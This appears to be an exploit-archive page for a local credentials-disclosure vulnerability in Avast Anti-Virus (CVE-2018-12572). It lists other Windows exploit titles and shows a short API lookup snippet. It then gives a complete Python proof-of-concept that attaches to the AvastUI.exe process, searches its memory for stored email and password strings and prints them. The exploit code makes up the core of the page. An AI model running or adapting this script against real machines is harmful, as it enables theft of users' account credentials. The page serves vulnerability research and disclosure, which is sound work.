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"Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure"

Author

"Nathu Nandwani"

Platform

windows

Release date

2019-02-11

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2019-07-17 "MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow" remote windows hyp3rlinx
2019-07-17 "Windows - NtUserSetWindowFNID Win32k User Callback Privilege Escalation (Metasploit)" local windows Metasploit
2019-07-17 "WinMPG iPod Convert 3.0 - 'Register' Denial of Service" dos windows stresser
2019-07-16 "Microsoft Windows 10 < build 17763 - AppXSvc Hard Link Privilege Escalation (Metasploit)" local windows Metasploit
2019-07-16 "DameWare Remote Support 12.0.0.509 - 'Host' Buffer Overflow (SEH)" local windows "Xavi Beltran"
2019-07-16 "R 3.4.4 (Windows 10 x64) - Buffer Overflow SEH (DEP/ASLR Bypass)" local windows blackleitus
2019-07-16 "Microsoft Compiled HTML Help / Uncompiled .chm File - XML External Entity Injection" dos windows hyp3rlinx
2019-07-15 "Streamripper 2.6 - 'Song Pattern' Buffer Overflow" local windows "Andrey Stoykov"
2019-07-15 "Microsoft Windows Remote Desktop - 'BlueKeep' Denial of Service (Metasploit)" dos windows "RAMELLA Sebastien"
2019-07-12 "Microsoft Windows 10.0.17134.648 - HTTP -> SMB NTLM Reflection Leads to Privilege Elevation" local windows "Google Security Research"
2019-07-11 "SNMPc Enterprise Edition 9/10 - Mapping Filename Buffer Overflow" local windows xerubus
2019-07-12 "Microsoft Font Subsetting - DLL Heap Corruption in ComputeFormat4CmapData" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Empty ROS Strings" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - NULL Pointer Dereferences in OpenType Font Handling While Accessing Empty dynarrays" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Multiple Bugs in OpenType Font Handling Related to the _post_ Table" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Out-of-Bounds Read in OpenType Font Handling Due to Undefined FontName Index" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling While Processing CFF Blend DICT Operator" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readStrings" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Unbounded iFD" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow Due to Integer Overflow in readTTCDirectory" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readCharset" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readEncoding" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Incorrect Handling of blendArray" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Interpreter Stack Underflow in OpenType Font Handling Due to Missing CHKUFLOW" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Use of Uninitialized Memory While Freeing Resources in var_loadavar" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack-Based Buffer Overflow in do_set_weight_vector_cube for Large nAxes" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative nAxes" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative cubeStackDepth" dos windows "Google Security Research"
2019-07-10 "Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling due to Out-of-Bounds cubeStackDepth" dos windows "Google Security Research"
Release Date Title Type Platform Author
2019-02-11 "Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure" local windows "Nathu Nandwani"
2019-01-14 "Lenovo R2105 - Cross-Site Request Forgery (Command Execution)" webapps hardware "Nathu Nandwani"
2019-01-09 "ZTE MF65 BD_HDV6MF65V1.0.0B05 - Cross-Site Scripting" webapps hardware "Nathu Nandwani"
2019-01-07 "Huawei E5330 21.210.09.00.158 - Cross-Site Request Forgery (Send SMS)" webapps hardware "Nathu Nandwani"
2018-07-23 "Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)" webapps hardware "Nathu Nandwani"
2018-05-28 "wityCMS 0.6.1 - Cross-Site Scripting" webapps php "Nathu Nandwani"
2018-05-27 "ClipperCMS 1.3.3 - Cross-Site Scripting" webapps php "Nathu Nandwani"
2018-07-25 "GetGo Download Manager 6.2.1.3200 - Denial of Service (PoC)" dos windows "Nathu Nandwani"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46345/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46345/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46345/40808/avast-anti-virus-1912360-local-credentials-disclosure/download/", "exploit_id": "46345", "exploit_description": "\"Avast Anti-Virus < 19.1.2360 - Local Credentials Disclosure\"", "exploit_date": "2019-02-11", "exploit_author": "\"Nathu Nandwani\"", "exploit_type": "local", "exploit_platform": "windows", "exploit_port": null}
                                            

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# Exploit Title: Avast Anti-Virus Local Credentials Disclosure < 19.1.2360
# Date: 01/18/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Version: before 19.1.2360 (build 19.1.4142.0)
# Tested on: Windows 10 x64
# CVE: CVE-2018-12572
# Based on LiquidWorm's and Yakir Wizman's proof of concepts

from winappdbg import Debug, Process

debug = Debug()
processname = "AvastUI.exe"
pid = 0
mem_contents = []

email = ""
password = ""

try:
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(processname):
        pid = process.get_pid()
    if pid is not 0:
        print ("AvastUI PID: " + str(pid))
        process = Process(pid)
        for i in process.search_regexp('"password":"'):
            mem_contents.append(process.read(i[0], 200))
            print "Dump: "
            print process.read(i[0], 200)
        for i in mem_contents:
            password = i.split(",")[0]
        for i in process.search_regexp('"email":"'):
            mem_contents.append(process.read(i[0], 200))
            print "Dump: "
            print process.read(i[0], 200)
        for i in mem_contents:
            email = i.split(",")[0]
        if email != "" and password != "":
            print ""
            print "Found Credentials from Memory!"
            print email
            print password
        else:
            print "No credentials found!"
    else:
        print "Avast not running!"
finally:
    debug.stop()